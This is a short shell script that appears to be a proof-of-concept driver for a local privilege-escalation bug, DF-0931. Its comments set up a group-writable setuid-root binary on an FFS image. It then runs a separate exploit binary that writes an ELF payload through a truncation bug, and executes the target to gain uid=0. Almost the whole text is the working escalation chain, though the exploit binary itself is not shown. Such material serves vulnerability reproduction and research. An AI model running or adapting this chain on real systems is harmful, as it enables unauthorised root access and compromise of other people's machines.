#!/bin/sh
# run.sh - DF-0931 PoC: full reproduction + escalation chain
#
# PREREQUISITE (lab setup; requires root, simulates the realistic
# precondition of an admin-placed group-writable setuid-root binary
# on an FFS filesystem):
#
#   # as root on the guest:
#   dd if=/dev/zero of=/var/tmp/ffs.img bs=1m count=64
#   vnconfig -c vn0 /var/tmp/ffs.img
#   newfs /dev/vn0
#   mkdir -p /mnt/ffs
#   mount -t ufs /dev/vn0 /mnt/ffs
#   cp /bin/sh /mnt/ffs/target
#   chown root:<gid> /mnt/ffs/target   # gid of the attacker user
#   chmod 04775 /mnt/ffs/target         # setuid-root, group-writable
#
# Then as the unprivileged attacker user:
set -e
cd "$(dirname "$0")"

TARGET="${1:-/mnt/ffs/target}"

echo "=== Stage 1: write ELF payload via int-resid truncation bug ==="
./exploit "$TARGET"

echo ""
echo "=== Stage 2: privilege-boundary crossing (exec setuid-root target) ==="
echo "maxx BEFORE: $(id)"
echo "maxx AFTER exec $TARGET (should be uid=0 on vulnerable kernel):"
echo id | "$TARGET" || true